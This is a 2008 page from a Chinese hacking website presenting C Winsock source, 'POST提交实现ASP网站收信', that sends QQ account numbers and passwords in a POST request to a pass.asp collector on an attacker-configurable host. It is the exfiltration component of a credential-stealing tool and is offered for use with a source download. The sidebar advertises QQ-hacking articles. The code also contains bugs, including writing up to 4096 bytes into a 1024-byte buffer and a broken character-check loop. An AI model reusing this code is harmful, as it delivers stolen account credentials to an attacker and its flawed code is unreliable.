首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒
黑吧百度繁體中文
设为首页
加入收藏
发布教程

 

您当前的位置:-黑客动画吧 -> 文章中心 -> 入侵检测 -> 编程代码 -> 文章内容 退出登录 用户管理
分类导航
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
· 卡巴斯基权威...
· POST提交实现...
· 提升进程权限...
· Dvbbs·php V...
· IE GDI+ Proo...
· Access在线解...
· PhpCms2007 s...
· PHP二分法注射...
POST提交实现ASP网站收信
作者:佚名  来源:转载  发布时间:2008-10-8 0:12:23  发布人:noangel

减小字体 增大字体

收藏到ViVi】【收藏到YouNote】【收藏此页到365Key】【 收藏此页到bbmao

/********************************************/
/* POST提交数据
/* by xicao from SEU
/* post.c */
/********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32.lib")

int InitSocket();
u_long Name2Inet(char* szAddress);

int main(int argc,char *argv[])
{
char buff[1024];
SOCKET sock;
SOCKADDR_IN addr;
int postlen;
char* url="127.0.0.1";//这个自己修改
if (argc!=3)
{
printf("Error!\n");
return 0;
}
postlen=(strlen(argv[1])+strlen(argv[2])+19);
_snprintf(buff, 4096, "POST http://%s/pass.asp HTTP/1.1\r\n"
// "Accept: */*\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n" //貌似这句不能丢
"Host: %s\r\n"
"Content-Length: %d\r\n" //指post的数据长度
"\r\n"
"QQNumber=%s&PassWord=%s\r\n",
url,
url,
postlen,
argv[1],
argv[2]);

if(!InitSocket())
{
printf("Winsock Initialization failed.\n");
return 0;
}

if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
printf("Can not create socket.\n");
return 0;
}

addr.sin_family = AF_INET;
addr.sin_port = htons(80);
addr.sin_addr.s_addr=Name2Inet(url);

if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR)
{
printf("Can not connect to specified host.\n"); return -1;
}

send(sock,buff,strlen(buff),0);

closesocket(sock);

return 0;
}

int InitSocket()
{
#define MAJOR_VERSION 1
#define MINOR_VERSION 2

int nStatus = 0;
WORD wMajorVersion = MAJOR_VERSION;
WORD wMinorVersion = MINOR_VERSION;
WORD wVersionReqd = MAKEWORD(wMajorVersion, wMinorVersion);
WSADATA lpmyWSAData;
nStatus =WSAStartup(wVersionReqd, &lpmyWSAData);
if(nStatus != 0)
{
return 0;
}
return 1;
}

u_long Name2Inet(char* szAddress)
{
int name=0;
int i=0;

if(szAddress==NULL||strlen(szAddress)<1)
{
return htonl(INADDR_ANY);
}

for (i=0;szAddress;i++)
{
if((!isdigit(szAddress))&&szAddress!='.')
{
name=1;break;
}
}
//不是计算机名,是IP
if(!name)
return inet_addr(szAddress);
//是计算机名
else
{
struct hostent*host=gethostbyname(szAddress);

if(host==NULL)
{
return htonl(INADDR_ANY);
}
return *(long*)host->h_addr;
}
}


附件

src.rar (17.99 KB)
[] [返回上一页] [打 印] [收 藏]
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站地图 - 发布教程

Copyright © 2002-2005 Hack58.Com. All Rights Reserved .

备案编号:粤ICP备05008775号